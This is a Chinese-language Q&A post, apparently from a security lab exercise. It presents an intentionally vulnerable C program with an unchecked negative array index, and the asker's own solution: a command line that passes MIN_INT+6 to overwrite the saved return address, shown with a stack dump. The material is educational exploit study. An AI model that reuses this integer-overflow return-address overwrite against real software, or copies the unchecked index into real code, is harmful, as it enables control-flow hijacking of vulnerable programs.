我有这段代码,它有一些漏洞,但是我似乎无法利用它。
目前,这是我注意到的:
1)如果argv [1] = 3且argc = 3,则它将溢出,并将argv [2]写入“ place_int_array”函数中的array [3]的内存中。
2)如果argv [1] <0且argc = 3,则argv [2]会覆盖数组[argv [1]]上的内存。
3)我们在printf函数中编写了argv [0],该函数可以通过某种方式利用(完全没有设法利用它)。
这是代码。 我已经发表了一些评论,希望它是可读的。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int secretCode = 123;
void print_secret_code(){
//TODO - call this from somewhere...
printf("You get better at this stuff, ah?! Go get your treasure, the code is %d\n", secretCode);
}
// array, 3
void fill_array(int array[], size_t len){
unsigned int i;
for (i = 0; i < len; i++){
array[i] = i * 10;
printf("array[i]: %d, i: %d\n", array[i], i);
}
}
void place_int_array(int slot,int value){
//buffer size = 3*4=12 bytes?
int array[3];
//sizeof(array)=4*SAFES ( = 12 here), sizeof(array[0]) = 4 ==> fill_array(array, 12/4=3)
fill_array(array, sizeof(array)/sizeof(array[0]));
//vuln - when slot = 3.
if(slot>3) //we stop bad guys here
printf("safe number is greater than 3, out of bounds.\n");
else{
//vuln?
array[slot]=value;
printf("filled safe %d with %d.\n",slot,value);
}
return;
}
int main(int argc,char **argv){
if(argc!=3){
printf("Welcome to Alladin's magic cave!\n");
printf("Enter the secret number into the right safe and get the treasure cave entrance code!\n");
printf("syntax: %s [SAFE NUMBER] [SECRET NUMBER]\n",argv[0]);
//TEMP TEMP - for debugging only
printf("print_secret_code function = %p\n", print_secret_code);
}
else
//atoi("14s56")=>14, atoi("a14s56")=>0
place_int_array(atoi(argv[1]), atoi(argv[2]));
exit(0);
}
我希望以某种方式设法控制程序的流程以执行“ print_secret_code”。我知道如何找到它的地址,只是找不到一种方法来利用该程序将其存入该内存。
注意:我知道如何调试并使其打印变量的值。我在问如何利用代码本身跳入该功能。
答案 0 :(得分:1)
我设法解决了这个问题,但是我不明白。在这里:
由于这是整数溢出问题,所以我写了一些代码来打印出缓冲区。 缓冲区的开头是存储array [0]的地址。 然后,我开始将MAX_INT和MIN_INT值传递给程序。 我注意到当我将MIN_INT值传递给argv [1]时,它覆盖了缓冲区的开头。因此我传递了MIN_INT + 1值,并注意到它覆盖了缓冲区的第二个地址。从那里很容易解决。我发现保存的eip位于array [6]的地址,因此我将MIN_INT + 6的十进制值传递给argv [1],并将argv [2]的地址传递给了“ print_secret_code “以十进制表示的功能。
这是输出:
[lab8_IntegerOverflow]$ ./aladdinSafe -2147483642 134514251 //run program and pass arguments
print_secret_code function = 0x804864b
place_int_array ret address: 0x80487fa
&array: 0xff9cb9c4
slot: -2147483642
&array[slot]: 0xff9cb9dc
Stack dump (stack at 0xff9cb9c4, len 30):
0xff9cba38: 0xdbc70467
0xff9cba34: 0x5bc66076
0xff9cba30: 0x00000000
0xff9cba2c: 0x00000000
0xff9cba28: 0x00000000
0xff9cba24: 0xf775d000
0xff9cba20: 0x0804825c
0xff9cba1c: 0x0804a01c
0xff9cba18: 0xff9cba34
0xff9cba14: 0xff9cba94
0xff9cba10: 0x00000003
0xff9cba0c: 0xf7786cca
0xff9cba08: 0xff9cbaa4
0xff9cba04: 0xff9cba94
0xff9cba00: 0x00000003 (main first argument (argc))
0xff9cb9fc: 0xf75cbaf3 (main return address (saved eip))
0xff9cb9f8: 0x00000000
0xff9cb9f4: 0xf775d000
0xff9cb9f0: 0x08048810
0xff9cb9ec: 0xf775d000
0xff9cb9e8: 0x0804881b
0xff9cb9e4: 0x0804864b (second argument)
0xff9cb9e0: 0x80000006 (first argument)
0xff9cb9dc: 0x0804864b (place_int_array return address (saved eip))
0xff9cb9d8: 0xff9cb9f8 (saved ebp)
0xff9cb9d4: 0xf7799938
0xff9cb9d0: 0xff9cc5c3
0xff9cb9cc: 0x00000014 //address of array[2]
0xff9cb9c8: 0x0000000a //address of array[1]
0xff9cb9c4: 0x00000000 (beginning of buffer)//address of array[0]
filled safe -2147483642 with 134514251.
You get better at this stuff, ah?! Go get your treasure, the code is 10
Segmentation fault
您可以在此处查看详细的答案:Different Int values for the same value?
这是我对解决方案提出的一个新问题的新主题。
非常感谢所有帮手!